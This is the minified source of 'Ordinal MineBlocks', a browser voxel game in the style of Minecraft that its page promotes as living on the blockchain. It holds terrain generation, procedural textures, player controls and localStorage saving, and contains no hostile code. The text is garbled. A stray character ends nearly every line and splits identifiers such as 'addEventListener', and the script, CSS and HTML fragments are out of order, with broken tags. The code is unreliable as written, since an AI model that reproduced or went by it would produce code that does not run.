.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
